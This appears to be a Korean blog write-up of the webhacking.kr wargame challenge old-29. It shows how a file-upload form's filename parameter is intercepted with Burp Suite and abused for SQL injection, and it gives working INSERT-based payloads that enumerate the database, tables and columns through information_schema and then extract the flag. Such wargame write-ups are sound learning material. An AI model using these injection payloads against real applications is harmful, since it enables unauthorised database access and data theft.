write-up(web)/webhacking.kr

[Webhacking.kr] old-29

chanchand 2023. 11. 2. 16:59
반응형

문제


 

flag는 다른 테이블에 있다.

 

 

 

 

문제풀이


테스트로 파일 하나를 올리면 아래와 같이 화면에 나타나며, 파일에 접근은 불가하다.

 

burp suite로 잡아보면 filename 파라미터가 전송되는 것을 알 수 있다.

ip와 time은 자동으로 설정된다.

 

filename 파라미터를 조작하여 sql injection을 시도할 수 있다.

아래처럼 파라미터 조작해서 전송하면 변조된 값들이 화면에 보인다. 

time이 변조되어 전송되었다. 

filename="filename,1,'115.92.150.222')#"

 

화면에 나타나는 것과 다르게 ip주소는 세번째에 입력되어야 한다.

그리고 IP주소가 정확해야 전송된다.

sql 쿼리에 맞지 않거나 IP주소가 틀리거나 삽입되는 컬럼 순서가 다르면 upload error! 가 출력된다.

 

 

 

 

 

데이터베이스

filename=”filename’,time,’IP주소’), ((select database()), 1, ‘IP주소’)#

-> chall29

 

테이블

filename=”filename’,time,’IP주소’), ((select group_concat(table_name) from information_schema.tables where table_schema=’chall29’), 1, ‘IP주소’)#

-> flag_congratz

 

 

컬럼

filename=”filename’,time,’IP주소’), ((select group_concat(column_name) from information_schema.columns where table_name=’flag_congratz’), 1, ‘IP주소’)#

-> flag

 

 

FLAG

filename=”filename’,time,’IP주소’), ((select flag from flag_congratz), 1, ‘IP주소’)#

 

 

* group_concat

특정 컬럼의 각 결과값을 하나의 가로열로 표시한다.

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] CHILD  (0) 2023.11.03
[Webhacking.kr] old-30 (X)  (0) 2023.11.02
[Webhacking.kr] old-28  (0) 2023.11.02
[Webhacking.kr] old-27  (0) 2023.11.02
[Webhacking.kr] old-22  (0) 2023.11.02